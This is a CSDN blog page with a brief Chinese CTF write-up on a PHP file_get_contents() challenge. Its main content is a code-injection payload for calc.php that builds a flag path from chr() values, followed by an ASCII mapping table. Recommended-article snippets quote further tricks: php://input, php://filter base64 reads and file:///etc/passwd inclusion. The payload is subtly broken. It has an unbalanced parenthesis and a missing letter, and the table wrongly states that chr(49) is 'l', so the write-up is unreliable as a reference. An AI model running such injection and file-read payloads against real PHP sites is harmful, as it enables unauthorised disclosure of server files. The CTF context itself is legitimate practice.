CTF-file_get_contents()

最新推荐文章于 2024-04-10 21:58:41 发布
最新推荐文章于 2024-04-10 21:58:41 发布
阅读量370 收藏
点赞数
文章标签： php
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/mr__sheng/article/details/132816401
版权

 /calc.php？%20num=1;var_dump(file_get_contents(chr47).chr(102),chr(97),chr(103),chr(103)))

 其中的playload为ASCII码，对应如下：
//        chr(47)='/'
//        chr(102)='f'
//        chr(49)='l'
//        chr(97)='a'
//        chr(103)='g'
//        chr(103)='g'

 

 

xiukc
关注
BugkuCTF-WEB题file_get_contents
am_03的博客
08-29 6638
知识点 empty() 函数用于检查一个变量是否为空。empty() 判断一个变量是否被认为是空的。当一个变量并不存在，或者它的值等同于 FALSE，那么它会被认为不存在。如果变量不存在的话，empty()并不会产生警告。 extract()函数从数组里将变量导入到当前的符号表。extract函数：可以进行变量覆盖。 语法：extract(array,extract_rules,prefix) 该函数使用数组键名作为变量名，使用数组键值作为变量值。针对数组里的各元素，将在当前符号表里创建对应的一个变量。第二
CG CTF file_get_contents
qq_46389295的博客
02-24 1509
题目链接 <!--$file = $_GET['file']; if(@file_get_contents($file) == "meizijiu"){ echo $nctf; }--> file_get_contents存在变量覆盖漏洞
CTFHub-file_get_contents
鸣蜩十四的博客
08-09 1578
extract() 方法可用于将数组展开，键名作为变量名，元素值为变量值，简单的说，就是能够直接将 $_POST 和 $_GET 中的变量解析出来，不需要我们手工赋值处理。 trim()去除字符串首尾处的空白字符 file_get_contents()将整个文件读入一个字符串 php://input可以访问请求的原始数据的只读流，在POST请求中访问POST的data部分，在enctype=“multipart/form-data” 的时候php://input 是无效的。 我们先对代码进行分析，而全部代.
CG-CTF web之 file_get_contents
silence1_的博客
05-15 1万+
CG-CTF web之 file_get_contents 题目： 题目为file_get_contents，是一个php函数 进入题目，什么也没有，查看F12查看源码，得到提示源码， 大概看一下代码，意思是get一个file参数到file_get_contents()函数里，如果返回为指定字符串，就得到了flag。 这里涉及到一个file_get_contents()函数,而这个函数是可以绕过...
CG CTF WEB file_get_contents
无限迭代中......
07-04 2557
http://chinalover.sinaapp.com/web23/ 题意：get一个file参数到file_get_contents()函数里，如果返回为指定字符串，就得到了flag。 <!--$file = $_GET['file']; if(@file_get_contents($file) == "meizijiu"){ echo $nctf; }--> 题...
CG CTF-Web-file_get_contents
feng的博客
09-08 898
WP 进入环境后先发现什么都没有，我们f12查看源码，会发现代码，因此进行代码审计： <!--$file = $_GET['file']; if(@file_get_contents($file) == "meizijiu"){ echo $nctf; }--> 我们可以发现这题有一个file_get_contents函数。因为我们要get一个file，而且他的内容还要是meizijiu，我一开始想到了文件包含相关的内容，想到了php的一些伪协议。这时候我上网查file_get_con
轻松通过file_get_contents题目（Bugku CTF）
最新发布
m0_63602484的博客
04-10 724
a.这里需要打开burpsuite进行抓包，将抓取的数据包send to repeater,然后在重发器选项卡中进行编辑。b.只需要在GET/后面添加?ac=flag&fn=php://input，然后在数据包末尾添加flag即可。根据代码提示，这里我们构造php伪协议代码,并借助Burpsuite来修改数据包。c.最后发送请求，在右侧响应里面即可得到正确的flag。
20210218CTF伪协议绕过file_get_contents（bugkuctf的web21御结冰城感想）
热门推荐
qq_45290991的博客
02-18 1万+
CTF中常用的php伪协议利用 </h1> <div class="clear"></div> <div class="postBody"> file://# 作用： 用于访问文件（绝对路径、相对路径、网络路径） 示例： http://www.xx.com?file=file:///etc/passswd ph...
CTF平台题库writeup（四）--BugKuCTF-代码审计（14题详解）
渗透、攻防、CTF、编程
07-04 4443
1、extract变量覆盖 <?php $flag='xxx'; extract($_GET); if(isset($shiyan)) { $content=trim(file_get_contents($flag)); if($shiyan==$content) { echo'flag{xxx}'; } else { echo'Oh.no'; } } ?> 知识点： 变量覆盖 file_get_contents():将整个文件读入一个字符串 trim（）去除字符串两侧的空格或者指定
CTF---web入门---php
Bad_Monkey的博客
09-19 871
不显示错误 @$a=trim(file_get_contents($b));//@表示 如果脚本中这句话出现的错误，不会将错误输出来 ini_set("display_errors", 0);//更改php.ini配置，错误不会显示 例如： test.php中代码如下 ini_set('display_errors', 0); include('hi.php'); 此时，如果 test.php有错...
file_get_contents 的使用
toume的博客
07-07 565
1，使用file_get_contents函数请求链接不会跳到请求的链接 return file_get_contents($url.'?'.$get);//$url是你要请求的连接,$get是你请求传过去的数据
第三节 file_get_contents()和fopen()模拟表单提交
千门公子襄
12-09 700
一.准备1.php<!DOCTYPE html> <html lang='en'> <head> <meta charset='UTF-8'> <title>表单提交</title> </head> <body> <form action='1.php' method='post'> <table> <tr>
【CTF积累】两个绕过的题
qq_41369524的博客
12-10 1117
第一层绕过：===全等于让substr和md5函数同时报错，返回的就都是nul，从而实现全等于是传参传入数组形势：path[]=1接着第二层绕过：正则匹配^control$:以control开头且结束绕过方法：换行符%0a在结尾不会被识别从而第三层：看到 $getflag= file_get_contents( $b);
CTF web小总结
A_dmin的博客
07-15 3685
PHP绕过技巧、SQL技巧、命令执行绕过小技巧、反序列化、文件上传绕过
NSSCTF 2nd WEB
ytl_storm的博客
09-25 348
当我们上传test.php/.这样的文件时候，因为file_put_contents()第一个参数是文件路径，操作系统会认为你要在test1.php文件所在的目录中创建一个名为.的文件，最后上传的结果就为test.php。这里绕过的主要原理是Tornado模板在渲染时会执行__tt_utf8(__tt_tmp) 这样的函数，所以将__tt_utf8设置为eval，然后将__tt_tmp设置为了从POST方法中接收的字符串导致了RCE。为具体的某个算法，则密钥是不能为空的。猜测这里存在SSRF漏洞。
【网络安全 | CTF】攻防世界 Web_php_include【php伪协议|data伪协议|file伪协议】
等风来
05-22 9945
是 PHP 语言中一个重要的文件包含机制，可以将一个 PHP 文件包含到另一个 PHP 脚本文件中。该机制通常用于代码复用和模块化开发，在不同的 PHP 文件之间实现函数和类等代码的共享。file 伪协议用于访问本地文件系统中的文件，可以在 web 页面中链接到本地文件，或者读取本地文件中的数据。PHP 伪协议是一种特殊的 URI 协议，可以绕过通常的协议限制，直接访问本地文件和执行 PHP 代码。函数，该函数返回当前工作目录的绝对路径。函数，该函数返回当前执行的 PHP 脚本所在位置的绝对路径。
CTFweb篇-PHP伪协议的使用
weixin_44597701的博客
08-05 1474
PHP 提供了一些杂项输入/输出（IO）流，允许访问 PHP 的输入输出流、标准输入输出和错误描述符， 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。（不明白啥子鬼意思） 就是PHP伪协议可以用来作为输入输出，以此来占为己用 php://stdin 相当于打开一个文件指针，可以从输入缓冲区读取输入。 ...
ctfshow web入门 文件包含
Lum1n0us's Blog
02-03 1057
文章目录web78web79web80-81web82-86web87web88web116web117参考链接 web78 <?php if(isset($_GET['file'])){ $file = $_GET['file']; include($file); }else{ highlight_file(__FILE__); } 第一题是最基础的文件包含，直接上payload payload： ?file=php://filter/convert.base64-enco
Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 全
Jay17的博客
08-16 3487
Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 全
ctf php绕过<,CTF-攻防世界-Web_php_include(PHP文件包含)
05-13
这是一道经典的 PHP 文件包含漏洞的 CTF 题目。在 PHP 中，当我们使用 include 或 require 语句来引入文件时，如果我们没有对输入进行过滤，就会存在文件包含漏洞。 在这道题目中，我们需要绕过一个筛选器，使得...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值